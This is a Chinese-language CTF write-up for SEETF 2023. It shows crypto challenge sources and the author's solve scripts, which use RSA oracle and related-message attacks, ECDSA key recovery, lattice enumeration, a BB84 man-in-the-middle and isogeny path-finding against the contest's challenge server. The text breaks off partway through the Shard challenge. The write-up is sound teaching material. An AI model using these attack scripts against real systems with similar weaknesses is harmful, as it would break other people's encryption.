SEETF 2023 WriteUps

發表於 分類於

今年用 nyahello solo 參賽，解了大部分的 crypto 和選了幾題 web 和 misc 來解。

Crypto

BabyRC4

用了同一把 key 對 flag 和已知 message 做 RC4 加密，所以 xor 兩個 ciphertext 和已知 message 就可以得到 flag。

Dumb Chall

總之這題一開始會在某個 中生成 ，然後後面有 30 個 round，每個 round 會從下面二選一讓你解:

1
2
3
4
5
6
7
8
def first_verify(g, p, y, C, w, r) -> bool:
    assert w
    return ((y * C) % p) == pow(g, w, p)


def second_verify(g, p, y, C, w, r) -> bool:
    assert r
    return pow(g, r, p) == C

第一個你可以提供 ，第二個你可以提供 ，而且 30 個 rounds 中的 不能重複。

解法也很簡單，第一個就用 ，第二個用 ，而 不能重複的部分就加 解決。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

# context.log_level = "debug"

# io = process(["python", "main.py"])
io = remote("win.the.seetf.sg", 3002)
io.recvuntil(b"p = ")
p = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"y = ")
y = int(io.recvline().strip())
io.recvline()
io.recvline()

for _ in range(30):
    q1 = io.recvuntil(b": ").strip()
    print(q1)
    if b"Enter w" in q1:
        io.sendline(str(p - 1).encode())
        io.recvuntil(b": ")
        io.sendline(str(pow(y, -1, p) + p * _).encode())
    else:
        r = _ + 1
        io.sendline(str(r).encode())
        io.recvuntil(b": ")
        io.sendline(str(pow(g, r, p)).encode())
io.interactive()
# SEE{1_571ll_h4v3_n0_kn0wl3d63}

OpenEndedRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from gmpy2 import iroot # this helps with super accurate square root calculations!

flag = b'????????????????????????'
m = bytes_to_long(flag)
e = 0x10001
pp = bytes_to_long(b'????????????????')
s = 1
assert isPrime(pp)

while not isPrime(s):
    p = getPrime(512)
    s = p**2 + pp**2 

assert iroot(s-pp**2,2) == (p, True)  # quick demo on how to use iroot()
assert s%2 == 1                       # duh, s is a prime number after all!

q = getPrime(512)
n = p*q
c = pow(m,e,n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
print(f's = {s}')

可知 ，其中 和 是質數。所以既然 和 都是奇數，代表 只能是偶數，也就是說 。

1
2
3
4
5
6
7
8
9
10
11
n = 102273879596517810990377282423472726027460443064683939304011542123196710774901060989067270532492298567093229128321692329740628450490799826352111218401958040398966213264648582167008910307308861267119229380385416523073063233676439205431787341959762456158735901628476769492808819670332459690695414384805355960329
e = 65537
c = 51295852362773645802164495088356504014656085673555383524516532497310520206771348899894261255951572784181072534252355368923583221684536838148556235818725495078521334113983852688551123368250626610738927980373728679163439512668552165205712876265795806444660262239275273091657848381708848495732343517789776957423
s = 128507372710876266809116441521071993373501360950301439928940005102517141449185048274058750442578112761334152960722557830781512085114879670147631965370048855192288440768620271468214898335819263102540763641617908275932788291551543955368740728922769245855304034817063220790250913667769787523374734049532482184053
p = sqrt(s - 4)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
print(int(m).to_bytes(64, "big").strip(b"\x00"))
# SEE{0dd_3vEN:deadbeef}

Semaphore

1
2
3
4
5
6
7
8
9
import ecdsa # https://pypi.org/project/ecdsa/
import os

flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}').encode()

sk = ecdsa.SigningKey.generate()
for nibble in flag.hex():
    signature = sk.sign(flag + nibble.encode())
    print(signature.hex())

假設有兩個 hash 相同的 signature:

同乘 :

其中 是 public key，所以可以透過消去 得到:

不過因為 透過 lifting 成 的時候會有兩個可能，所以一組 signature 會得到四個可能的 public key。不過利用 b'SEE{'.hex() 這邊有重複的字元，所以可以透過 2,4 和 3,5 一組得到的 public key 求出交集，就能知道 了。

之後得到 之後一樣透過一些運算就能求 ，而 z 是 sha256(flag + nibble)，而 nibble 肯定有重複的，所以就類似 substitution cipher，然後結合已知的 flag format 去猜那個 substitution table 就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
sigs_str = """
...
"""

from ecdsa.curves import NIST192p
from ecdsa.util import sigdecode_string
from ecdsa import ellipticcurve
from fastecdsa.util import mod_sqrt
import ecdsa
from collections import Counter


def lift_x(x, curve):
    a = curve.curve.a()
    b = curve.curve.b()
    p = curve.curve.p()
    y2 = (pow(x, 3, p) + a * x + b) % p
    y, yy = mod_sqrt(y2, p)
    p1 = ellipticcurve.Point(curve.curve, x, y)
    p2 = ellipticcurve.Point(curve.curve, x, yy)
    return p1, p2


def recover_public_key_with_two_signatures_with_same_hash(sig1, sig2, curve):
    n = curve.generator.order()
    r1, s1 = sigdecode_string(sig1, curve.order)
    r2, s2 = sigdecode_string(sig2, curve.order)
    for R1 in lift_x(r1, curve):
        for R2 in lift_x(r2, curve):
            t = s1 * R1 + (-s2) * R2
            yield pow(r1 - r2, -1, n) * t


def get_zg(sig, P, curve):
    r, s = sigdecode_string(sig, curve.order)
    for R in lift_x(r, curve):
        yield s * R + (-r) * P


sigs = [bytes.fromhex(sig) for sig in sigs_str.split("\n") if sig]
# because the flag prefix is `SEE{`
pk1 = list(
    recover_public_key_with_two_signatures_with_same_hash(sigs[2], sigs[4], NIST192p)
)
pk2 = list(
    recover_public_key_with_two_signatures_with_same_hash(sigs[3], sigs[5], NIST192p)
)
Ps = [p for p in pk1 if p in pk2]
assert Ps[0] == (-1) * Ps[1]
P = Ps[0]  # we don't know which one is the public key, but sign doesn't matter here


def get_zg(sig, P, curve):
    r, s = sigdecode_string(sig, curve.order)
    for R in lift_x(r, curve):
        yield s * R + (-r) * P


zgs = [list(get_zg(sig, P, NIST192p)) for sig in sigs]
zgxs = []
for zg in zgs:
    zgxs.append((zg[0].x(), zg[1].x()))
assert len(set(zgxs[2]) & set(zgxs[4])) == 1
assert len(set(zgxs[3]) & set(zgxs[5])) == 1
ctr = Counter(sum([list(xs) for xs in zgxs], []))
poss = [k for k, v in ctr.items() if v > 1]
print(len(poss))
print(poss)

zgxs2 = []
for x1, x2 in zgxs:
    if x1 in poss:
        zgxs2.append(x1)
    elif x2 in poss:
        zgxs2.append(x2)
    else:
        zgxs2.append((x1, x2))

# guess the flag
known = b"SEE{".hex()
# known = b"SEE{easy_peasy_lemon_squeezy".hex()
tbl = {x: y for x, y in zip(zgxs2, known)}
tbl[zgxs2[8 * 2 + 1]] = b"_".hex()[1]
# known = b"signature".hex()
# for i, x in enumerate(known):
#     tbl[zgxs2[29 * 2 + i]] = x
# known = b"distinguisher".hex()
# for i, x in enumerate(known):
#     tbl[zgxs2[39 * 2 + i]] = x
tbl[zgxs2[-2]] = b"}".hex()[0]
tbl[zgxs2[-1]] = b"}".hex()[1]
mc = ctr.most_common(len(poss))
tbl[mc[0][0]] = "6"

for i, t in enumerate(zgxs2):
    if t in tbl:
        print(tbl[t])
    else:
        print(t)
    if i % 2 == 1:
        print()
s = b""
for i in range(0, len(zgxs2), 2):
    hh = zgxs2[i : i + 2]
    if not all(x in tbl for x in hh):
        s += b"?"
    else:
        s += bytes.fromhex(tbl[hh[0]] + tbl[hh[1]])
print(s)
print(tbl.values())
# print(tbl)
# print(mc)

# SEE{easy_peasy_lemon_squeezy_signature_distinguisher}

onelinecrypto

1
assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37

如題，這題就真的一行 python 而已。flag 符合 SEE{\w{23}} 且 int.from_bytes(flag.encode(),'big')%13**37 == 0。

所以我們可以記 flag ，而它 mod 為 0，其中 是 \w (A-Za-z0-9_) 的 ascii code。

這樣很直覺的可弄出個 lattice 求解，不過直接弄會發現我們想要的解不夠小，所以我先取個 charset 的平均 ，然後用 應該就會比較小了。所以做個代換 到原本 的式子中再弄出的 lattice，此時預期解在 lattice 中應該就會是個更小的 vector 了。

然而會遇到的一個問題是我們 charset 的 ascii code 中是有些 gaps 的，所以找到的最小解不一定符合 regex。我這邊的做法是參考 SECCON CTF 2022 Final - not new PRNG 用 fplll 做 lattice enumeration 搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37

import string
import re

chrs = (string.ascii_letters + string.digits + "_").encode()
avg = sorted(chrs)[len(chrs) // 2] - 1
print(f"{avg = }")
print([x - avg for x in sorted(chrs)])  # within [-37, 37]

M = 13**37
C = int.from_bytes(b"SEE{" + b"\x00" * 23 + b"}", "big")

P = PolynomialRing(ZZ, "ap", 23)
aps = P.gens()
aa = [ap + avg for ap in aps]
f = C + sum([a * 256**i for i, a in enumerate(aa)]) * 256
print(f)

L = matrix(f.coefficients()).T
L = block_matrix([[M, 0], [L, 1]])
bounds = [1] + [37] * 23 + [1]
scale = [2**20 // i for i in bounds]
Q = diagonal_matrix(scale)
L *= Q
L = L.BKZ(block_size=25)
L /= Q

# not good enough
# for row in L:
#     if row[-1] < 0:
#         row = -row
#     if row[0] == 0 and row[-1] == 1:
#         print(row)
#         print(f(*row[1:-1]) % M == 0)
#         aa = [x + avg for x in row[1:-1]][::-1]
#         flag = b"SEE{" + bytes(aa) + b"}"
#         assert int.from_bytes(flag, "big") % M == 0
#         print(flag)
# exit()

# lattice enumeration code copied from https://project-euphoria.dev/blog/37-not-new-prng/
from fpylll import IntegerMatrix, LLL
from fpylll.fplll.gso import MatGSO
from fpylll.fplll.enumeration import Enumeration

sols = []

L[:, 0] *= 2**10
A = IntegerMatrix.from_matrix(L.change_ring(ZZ))
LLL.reduction(A)
MG = MatGSO(A)
MG.update_gso()
sol_cnt = 10000
enum = Enumeration(MG, sol_cnt)
size = int(L.nrows())
bound = 37
answers = enum.enumerate(0, size, (size * bound**2), 0, pruning=None)
for _, s in answers:
    v = IntegerMatrix.from_iterable(1, A.nrows, map(int, s))
    sv = v * A

    if abs(sv[0, size - 1]) <= bound and sv[0, -1] in (-1, 1):
        print(sv)
        neg = sv[0, -1]
        sol = [neg * sv[0, i + 1] for i in range(23)]
        assert f(*sol) % M == 0
        aa = [x + avg for x in sol][::-1]
        flag = b"SEE{" + bytes(aa) + b"}"
        assert int.from_bytes(flag, "big") % M == 0
        print(flag)
        try:
            if re.fullmatch(r"SEE{\w{23}}", flag.decode()):
                print("FOUND")
                break
        except UnicodeDecodeError:
            pass
# SEE{luQ5xmNUKgEEDO_c5LoJCum}

Qskates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3

from qiskit import QuantumCircuit, Aer
from numpy.random import randint
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import hashlib

def encode_message(bits, bases):
	message = []
	for i in range(n):
		qc = QuantumCircuit(1,1)
		if bases[i] == 0: 
			if bits[i] == 0:
				pass 
			else:
				qc.x(0)
		else:
			if bits[i] == 0:
				qc.h(0)
			else:
				qc.x(0)
				qc.h(0)
		qc.barrier()
		message.append(qc)
	return message

def measure_message(message, bases):
	measurements = []
	for q in range(min(n,len(bases))):
		if bases[q] == 0: 
			message[q].measure(0,0)
		if bases[q] == 1: 
			message[q].h(0)
			message[q].measure(0,0)
		aer_sim = Aer.get_backend('aer_simulator')
		result = aer_sim.run(message[q], shots=1, memory=True).result()
		measured_bit = int(result.get_memory()[0])
		measurements.append(measured_bit)
	return measurements

def remove_garbage(a_bases, b_bases, bits):
	good_bits = []
	for q in range(n):
		if a_bases[q] == b_bases[q]:
			good_bits.append(bits[q])
	return good_bits

def verifyInput(lst):
	for i in lst:
		if i != 0 and i != 1:
			return False
	return True

n = 8

alice_bits = randint(2,size=n)
alice_bases = randint(2, size=n)
bob_bases = randint(2, size=n)

message = encode_message(alice_bits, alice_bases)
bob_results = measure_message(message, bob_bases)
alice_key = remove_garbage(alice_bases, bob_bases, alice_bits)
bob_key = remove_garbage(alice_bases, bob_bases, bob_results)
assert alice_key == bob_key

flag = pad(open('flag.txt','rb').read(),16)
key = hashlib.sha256(''.join([str(i) for i in alice_key]).encode()).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key=key, iv=iv, mode=AES.MODE_CBC)
enc = cipher.encrypt(flag)
print(f'iv = {iv.hex()}')
print(f'enc = {enc.hex()}')

while True:
	message = encode_message(alice_bits, alice_bases)

	eve_bases = [int(i) for i in input("Enter bases to intercept: ")]
	assert verifyInput(eve_bases)

	eve_results = measure_message(message, eve_bases)
	print("Measured message:", eve_results)
	
	new_bits = [int(i) for i in input("Enter bits to send to Bob: ")]
	assert verifyInput(new_bits)
	new_bits += alice_bits.tolist()[len(new_bits):]
	
	new_message = encode_message(new_bits, alice_bases)
	bob_results = measure_message(new_message, bob_bases)
	
	alice_key = remove_garbage(alice_bases, bob_bases, alice_bits)
	bob_key = remove_garbage(alice_bases, bob_bases, bob_results)
	print(alice_key == bob_key)

這題以 BB84 作為 QKD 協議，而我們可以當中間人去監聽並修改 alice 送給 bob 的訊息。不過這題主要的弱點在於它的 bits 和 bases 都是固定的，所以可以透過一些方法求出 bases, bits 並求出最後的 shared key。

首先先求 alice_bits 和 alice_bases，這邊我們作為 eve 就先隨便猜一個 bit 的 bases，重複多次之後如果 mesaured message 的對應 bit 都是定值的話就代表我們猜對了，並同時能得到 alice_bits 的一個 bit。如果有變化的代表猜錯了，所以一樣能知道 alice_bases 的一個 bases，然後再用正確的 bases 再去求一次 measured message，也能得到 alice_bits 的一個 bit。

重複上面的動作 n 遍就能得到所有的 alice_bits 和 alice_bases，不過要知道 key 還得知道 alice_bases 和 bob_bases 共同的 bases 有哪幾個。

這邊就是在 Enter bases to intercept 那邊先輸入正確的 alice_bases，然後就能求得正確的 eve_results，此時因為我們的 bases 就是正確的 alice_bases，所以直接把這個原封不動作為 Enter bits to send to Bob 那邊的輸入送過去，則 alice_key == bob_key 是恆成立的。

如果在送給 bob 之前隨便 flip 一個 bit 會怎樣呢? 可以發現假設我們 flip 了第 i bit，那麼 alice_key == bob_key 成立的條件是 alice_bases[i] != bob_bases[i]，所以用這個 oracle 就能求得所有使 alice_bases[i] == bob_bases[i] 成立的 i，然後由此就能獲得 key 解密 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
import ast
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

n = 100
n_tries = 8

# io = process(["python", "chall.py"])
io = remote("win.the.seetf.sg", 3004)

io.recvuntil(b"iv = ")
iv = bytes.fromhex(io.recvlineS().strip())
io.recvuntil(b"enc = ")
enc = bytes.fromhex(io.recvlineS().strip())

alice_bits = []
alice_bases = []
bob_bases = []

# static key and bases is used
# so we can guess the bases and get the bits
for i in range(n):
    print(f"Round {i}")
    pad = "0" * i
    msg = f"{pad}0\n\n" * n_tries
    io.send(msg.encode())
    ar = []
    for _ in range(n_tries):
        io.recvuntil(b"Measured message: ")
        res = ast.literal_eval(io.recvlineS().strip())[i]
        ar.append(res)
    print(ar)
    if len(set(ar)) == 1:
        # we guessed the correct basis (0)
        alice_bits.append(ar[0])
        alice_bases.append(0)
    else:
        # we guessed the wrong basis (1)
        # so we need to obverse alice_bits[i] in the correct basis again
        msg = f"{pad}1\n\n" * 1
        io.send(msg.encode())
        ar = []
        for _ in range(1):
            io.recvuntil(b"Measured message: ")
            res = ast.literal_eval(io.recvlineS().strip())[i]
            ar.append(res)
        alice_bits.append(ar[0])
        alice_bases.append(1)
    print("bits", alice_bits)
    print("bases", alice_bases)

# now we need to know which bases are shared between alice and bob
# since we already know alice_bases and alice_bits, we could observe using the correct basis
# and then flip some bits to see if they arrive at the same key
# if it doesn't, then we know the bit we flipped is in the shared bases
same_bases = []
for i in range(n):
    print(f"Round {i}")
    io.sendline("".join(map(str, alice_bases)).encode())
    io.recvuntil(b"Measured message: ")
    msg = ast.literal_eval(io.recvlineS().strip())
    msg[i] = 1 - msg[i]
    io.sendline("".join(map(str, msg)).encode())
    res = ast.literal_eval(io.recvlineS().strip().split("Bob: ")[1])
    print(res)
    if not res:
        same_bases.append(i)
print(same_bases)
alice_key = [alice_bits[i] for i in same_bases]
print(alice_key)

key = hashlib.sha256("".join([str(i) for i in alice_key]).encode()).digest()[:16]
cipher = AES.new(key=key, iv=iv, mode=AES.MODE_CBC)
print(unpad(cipher.decrypt(enc), 16))
io.interactive()
# SEE{qUanTuM_k3Y_d1sTribUt1ON_r_0nlY_t0_b3_u5ed_0nce:12843}

Romeo and Juliet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import getPrime, bytes_to_long
import os

flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}').encode()

class Person:
    def __init__(self):
        p, q = getPrime(512), getPrime(512)
        self.e = 65537
        self.d = pow(self.e, -1, (p-1)*(q-1))
        self.n = p * q
    def hear(self, m): return pow(m, self.e, self.n)
    def yell(self, c): return pow(c, self.d, self.n)
        
Romeo, Juliet = Person(), Person()

noise = os.urandom(16)
print('Romeo hears the flag amidst some noise:', Romeo.hear(bytes_to_long(noise[:8] + flag + noise[8:])))

for _ in noise:
    print('Juliet hears:', Juliet.hear(Romeo.yell(int(input('Romeo yells: ')))))
    print('Romeo hears:', Romeo.hear(Juliet.yell(int(input('Juliet yells: ')))))

簡單來說這題有 兩個 public key，然後 randomized flag 會先用 加密給你。

接下來有 16 次 oracle 的機會，每次 oracle 都分成 oracle 1 和 oracle 2 的部分:

  • oracle 1:
  • oracle 2:

首先肯定是要想辦法求 ，我這邊是先送 給 oracle 1，得到 。此時把 送給 oracle 2，oracle 2 會回傳 。假設 的話最後的這個值就會是 ，這樣就可以求出 了。

接下來在已經知道 的時候我們可以送 給 oracle 1，只要 則回傳值為 ，因此 。所以對多個 這麼做之後再 gcd 就能求出 。

最後是我們要怎麼求出 flag 的部分。先記 ，把這個給 oracle 1 之後會得到 ，此時把 給 oracle 2 就能得到 ，所以就存在一個 related message 的關係，用 polynomial gcd 就能求 。

這邊因為 並不小所以要用 half gcd 處理才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import gmpy2
import sys
from Crypto.Util.number import sieve_base, long_to_bytes
sys.path.insert(0, "./crypto-attacks")  # https://github.com/jvdsn/crypto-attacks
from shared.polynomial import fast_polynomial_gcd
from sage.all import Zmod
import logging

logging.basicConfig(level=logging.DEBUG)


# context.log_level = 'debug'
# io = process(["python", "romeo_and_juliet.py"])
io = remote('win.the.seetf.sg', 3001)
io.recvuntil(b"noise: ")
c1 = int(io.recvline().strip())


def oracle1(c):
    # pow(pow(c, d1, n1), e2, n2)
    io.sendlineafter(b"Romeo yells: ", str(c).encode())
    io.recvuntil(b"Juliet hears: ")
    return int(io.recvline().strip())


def oracle2(c):
    # pow(pow(c, d2, n2), e1, n1)
    io.sendlineafter(b"Juliet yells: ", str(c).encode())
    io.recvuntil(b"Romeo hears: ")
    return int(io.recvline().strip())


def clear(n):
    for p in sieve_base:
        while n % p == 0:
            n //= p
    return n


e = 65537
# this works if n1 < n2
n1 = oracle2(oracle1(-1)) + 1
print(n1)
# then we can get n2 using n1
n2_mul1 = oracle1(pow(2, e, n1)) - 2**e
oracle2(0)
n2_mul2 = oracle1(pow(3, e, n1)) - 3**e
oracle2(0)
n2 = int(clear(gmpy2.gcd(n2_mul1, n2_mul2)))
print(n2)
print(n1.bit_length(), n2.bit_length())
assert n1.bit_length() in range(1023, 1025), "bad n1"
assert n2.bit_length() in range(1023, 1025), "bad n2"

c = oracle1(c1)
c2 = oracle2(-c)
print(c1)
print(c2)

P = Zmod(n1)["x"]
x = P.gen()
f = x**e - c1
g = (n2 - x) ** e - c2
h = fast_polynomial_gcd(f, g)
m = -h[0] / h[1]
print(long_to_bytes(int(m)))
# SEE{O_Franklin-Reiter,_Franklin-Reiter,_wherefore_art_thou_Franklin-Reiter?_d0df1731bfea05134a97fbb244a85547}

Isogeny Maze

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}')

p = 2^8 * 3^15 - 1
F.<i> = GF(p^2, modulus=x^2+1)
j = F(0)

print('''\
 _____                                    __  __      
|_   _|                                  |  \/  |              
  | |  ___  ___   __ _  ___ _ __  _   _  | \  / | __ _ _______ 
  | | / __|/ _ \ / _` |/ _ \ '_ \| | | | | |\/| |/ _` |_  / _ \\
 _| |_\__ \ (_) | (_| |  __/ | | | |_| | | |  | | (_| |/ /  __/
|_____|___/\___/ \__, |\___|_| |_|\__, | |_|  |_|\__,_/___\___|
                  __/ |            __/ |                       
                 |___/            |___/
Welcome to the Isogeny Maze! Substrings of pi contain the flag.''')

for _ in range(100):
    E = EllipticCurve(j = j)
    print('-'*63)
    print(f'You are in Town {j}.')
    if str(j) in '31415926535897932384626433832795':
        print(f'There is a flag in this town: {flag}')
    
    neighbours = [E.isogeny_codomain(m).j_invariant() for m in E(0).division_points(2)]
    neighbours = sorted(set(neighbours) - {j})
    roadmsg = 'is only 1 road' if len(neighbours) == 1 else f'are {len(neighbours)} roads'
    print(f'There {roadmsg} out of here:')
    for i,n in enumerate(neighbours):
        print(f'* Road [{i+1}] leads to Town {n}')
    print('Which road would you like to take?')
    try:
        j = neighbours[int(input())-1]
    except (ValueError, IndexError):
        print('Invalid road.')
        pass

這題目標是從一個 的 supersingular curve 開始找個 的 isogeny 到另一條 ，且 是 pi (31415926535897932384626433832795) 的 substring。

既然是從 supersingular curve 開始，那麼 也是 supersingular 的，所以需要先在 pi 的 substring 中找個 supersingular j-invariant:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random

p = 2 ^ 8 * 3 ^ 15 - 1
F.<i> = GF(p^2, modulus=x^2+1)
Estart = EllipticCurve(j=F(0))
Eend = EllipticCurve(j=F(314159))


while True:
    pis = "31415926535897932384626433832795"
    st = random.randrange(0, len(pis) - 1)
    ed = random.randint(st + 1, len(pis))
    jj = F(int(pis[st:ed]))
    if EllipticCurve(j=jj).is_supersingular():
        print(jj)
        break

不管跑幾次出來的結果都是 ，所以應該也只有這個解了，所以這題目標 curve 已經確定了。

接下來是可以注意到 並不大，所以應該有機會用比較暴力的作法做，也就是 MITM。不過我直接用 BFS 從兩邊搜個 15 層發現要花上好多時間，所以就去 Google 一下找到了這個 implementation。

把它開頭 import Fp2 那邊改成這樣:

1
2
3
4
5
6
# patch
from sage.all import GF, var

x = var("x")
p = 2 ** 8 * 3 ** 15 - 1
Fp2 = GF(p ** 2, 'i', modulus=x**2+1)

然後這樣就能找到 path 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys

sys.path.insert(0, './SQISign-SageMath')
from mitm import claw_finding_attack, Fp2 as F

# p = 2^8 * 3^15 - 1
# F.<i> = GF(p^2, modulus=x^2+1)
Estart = EllipticCurve(j = F(0))
Eend = EllipticCurve(j = F(314159))

phi = claw_finding_attack(Estart, Eend, 2, 30)
for psi in phi.factors():
    print(psi.domain().j_invariant())

接下來寫個 interaction script 搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import re

with open("path.txt") as f:
    path = [l.strip() for l in f.readlines()][1:] + ["314159"]

# io = process(["sage", "isogeny_maze.sage"])
io = remote("win.the.seetf.sg", 3000)
for tj in path:
    io.recvuntil(b"There ")
    n_isos = int(re.search(r"\d+", io.recvlineS().strip()).group(0))
    tbl = {}
    for i in range(n_isos):
        io.recvuntil(b"Town ")
        j = io.recvlineS().strip()
        tbl[j] = i + 1
    print(tbl, j)
    io.sendline(str(tbl[tj]).encode())
io.interactive()
# SEE{SIKE!_made_you_implement_a_MITM_attack}

後來好奇它為什麼能這麼快算出來的時候才發現它不是用 sage 內建的 isogeny，而是透過一個叫做 modular polynomial 的東西，它對於任何由 l-isogeny 所聯繫的兩個 j-invariants 符合 ，所以這邊就用 去解一個二次方程就能很快速的解出相鄰的 j-invariant 了。

簡單拿來改一下之後發現真的快上很多，而且用 DFS 的速度比 BFS 快的樣子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from sage.all import GF, var, PolynomialRing
from collections import deque

x = var("x")
p = 2**8 * 3**15 - 1
Fp2 = GF(p**2, "i", modulus=x**2 + 1)

Fp2_inv_2 = Fp2(1) / 2


def sqrt_Fp2(a):
    p = Fp2.characteristic()
    i = Fp2.gens()[0]  # i = √-1

    a1 = a ** ((p - 3) // 4)
    x0 = a1 * a
    α = a1 * x0

    if α == -1:
        x = i * x0
    else:
        b = (1 + α) ** ((p - 1) // 2)
        x = b * x0

    return x


def quadratic_roots(b, c):
    d2 = b**2 - 4 * c
    d = sqrt_Fp2(d2)
    return ((-b + d) * Fp2_inv_2, -(b + d) * Fp2_inv_2)


def generic_modular_polynomial_roots(j1):
    R = PolynomialRing(j1.parent(), "y")
    y = R.gens()[0]
    Φ2 = (
        j1**3
        - j1**2 * y**2
        + 1488 * j1**2 * y
        - 162000 * j1**2
        + 1488 * j1 * y**2
        + 40773375 * j1 * y
        + 8748000000 * j1
        + y**3
        - 162000 * y**2
        + 8748000000 * y
        - 157464000000000
    )

    return Φ2.roots(multiplicities=False)


def quadratic_modular_polynomial_roots(jc, jp):
    jc_sqr = jc**2
    α = -jc_sqr + 1488 * jc + jp - 162000
    β = (
        jp**2
        - jc_sqr * jp
        + 1488 * (jc_sqr + jc * jp)
        + 40773375 * jc
        - 162000 * jp
        + 8748000000
    )
    # Find roots to x^2 + αx + β
    return quadratic_roots(α, β)


def find_j_invs(j1, l, j_prev=None):
    if l != 2:
        raise ValueError("Currently, `find_j_invs` is only implemented for l=2")

    if j_prev:
        roots = quadratic_modular_polynomial_roots(j1, j_prev)

    else:
        roots = generic_modular_polynomial_roots(j1)

    # Dont include the the previous node to avoid backtracking
    return [j for j in roots if j != j_prev]


def find_isogeny(start, end, l=2, max_depth=15):
    stk = []
    stk.append((Fp2(start), 0))  # (j, depth)
    parent = {}
    parent[start] = None
    while len(stk) > 0:
        j, depth = stk.pop()
        if depth >= max_depth:
            continue
        for jn in find_j_invs(j, 2, parent[j]):
            if jn not in parent:
                parent[jn] = j
                stk.append((jn, depth + 1))

    stk = []
    stk.append((Fp2(end), 0))  # (j, depth)
    parent2 = {}
    parent2[end] = None
    while len(stk) > 0:
        j, depth = stk.pop()
        if depth >= max_depth:
            continue
        for jn in find_j_invs(j, 2, parent2[j]):
            if jn not in parent2:
                parent2[jn] = j
                stk.append((jn, depth + 1))
            if jn in parent:
                ret = []
                t = jn
                ret.append(t)
                while (t := parent[t]) is not None:
                    ret.append(t)
                ret.reverse()
                t = jn
                while (t := parent2[t]) is not None:
                    ret.append(t)
                return ret


for j in find_isogeny(0, 314159):
    print(j)

Shard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import getPrime
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secrets import randbelow
from hashlib import sha256
from math import isqrt
import os

flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}').encode()

p, q = getPrime(512), getPrime(512)
n = (p * q)**3
a = randbelow(3**1337); A = pow(3, a, n)
b = randbelow(3**1337); B = pow(3, b, n)
shared = pow(A, b, n)
assert shared == pow(B, a, n)

key = sha256(str(shared).encode()).digest()
ct = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, 16)).hex()
hint = isqrt(p) ^ isqrt(q)

print(f'{n=}')
print(f'{A=}')
print(f'{B=}')
print(f'{ct=}')
print(f'{hint=}')

顯然是要先透過 hint 來分解 ，這部分是我是透過判斷 從 msb 開始 bit by bit 搜尋的。最後搜尋出來會有多組可能的 。

